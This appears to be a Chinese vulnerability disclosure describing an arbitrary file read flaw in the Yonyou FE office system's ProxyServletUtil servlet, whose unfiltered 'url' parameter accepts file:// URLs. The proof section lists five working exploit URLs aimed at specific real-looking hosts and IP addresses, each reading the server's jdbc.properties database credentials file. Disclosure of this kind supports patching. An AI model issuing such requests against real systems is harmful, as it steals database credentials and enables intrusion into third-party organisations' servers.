### 简要描述:
用友FE协作办公系统某处协议处理接口未过滤file://协议,导致任意文件读取漏洞,通杀全版本
### 详细说明:
```
web.xml有如下配置:
<servlet>
<servlet-name>ProxyServletUtil</servlet-name>
<servlet-class>fe.witmanage.service.ProxyServletUtil</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ProxyServletUtil</servlet-name>
<url-pattern>/ProxyServletUtil</url-pattern>
</servlet-mapping>
```
[<img src="https://images.seebug.org/upload/201411/072215468809be612ef8d59a43fd660cb1c5e4ef.png" alt="0.PNG" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/072215468809be612ef8d59a43fd660cb1c5e4ef.png)
```
ProxyServletUtil.java源码如下:
/* */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
/* */ {
/* 23 */ String urlString = request.getParameter("url");
/* 24 */ writeResponse(response, urlString);
/* */ }
/* */
/* */ private void writeResponse(HttpServletResponse response, String urlString) throws ServletException {
/* */ try {
/* 29 */ URL url = new URL(urlString);
/* 30 */ URLConnection urlConnection = url.openConnection();
/* 31 */ response.setContentType(urlConnection.getContentType());
/* 32 */ InputStream ins = urlConnection.getInputStream();
/* 33 */ OutputStream outs = response.getOutputStream();
/* 34 */ byte[] buffer = new byte[this.READ_BUFFER_SIZE];
/* 35 */ int bytesRead = 0;
/* 36 */ while ((bytesRead = ins.read(buffer, 0, this.READ_BUFFER_SIZE)) != -1) {
/* 37 */ outs.write(buffer, 0, bytesRead);
/* */ }
/* 39 */ System.out.println(outs);
/* 40 */ outs.flush();
/* 41 */ outs.close();
/* 42 */ ins.close();
/* */ } catch (Exception e) {
/* */ try {
/* 45 */ response.sendError(500, e.getMessage());
/* */ } catch (IOException ioe) {
/* 47 */ throw new ServletException(ioe);
/* */ }
/* */ }
/* */ }
/* */ }
```
[<img src="https://images.seebug.org/upload/201411/07221637c06d99c1ecedaeaf18fa5874d9a1c2c5.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/07221637c06d99c1ecedaeaf18fa5874d9a1c2c5.png)
```
url参数可控并且无任何过滤,导致任意文件,由于代码逻辑,进行文件读取时需要使用file://协议来利用
```
### 漏洞证明:
```
(1)http://oa.hzuf.com:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties
```
[<img src="https://images.seebug.org/upload/201411/072219461a3024b756de6890152fea80cbcd4230.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/072219461a3024b756de6890152fea80cbcd4230.png)
```
(2)http://fsd2014.f3322.org:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties
```
[<img src="https://images.seebug.org/upload/201411/072221015d6a6c843907cf0cd09e671026989400.png" alt="2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/072221015d6a6c843907cf0cd09e671026989400.png)
```
(3)http://183.129.249.246:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties
```
[<img src="https://images.seebug.org/upload/201411/07222157a93556a8969013f1cfb96ef88c56d735.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/07222157a93556a8969013f1cfb96ef88c56d735.png)
```
(4)http://218.205.208.22:9090/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties
```
[<img src="https://images.seebug.org/upload/201411/07222252768a8d94d8cc1b64674abc864e6242bc.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/07222252768a8d94d8cc1b64674abc864e6242bc.png)
```
(5)http://120.196.116.3:7321/ProxyServletUtil?url=file:///d:/FE/jboss/server/default/deploy/fe.war/WEB-INF/classes/jdbc.properties
```
[<img src="https://images.seebug.org/upload/201411/07222340ac7c546f20795326cad881694ce002b7.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201411/07222340ac7c546f20795326cad881694ce002b7.png)
```
```
暂无评论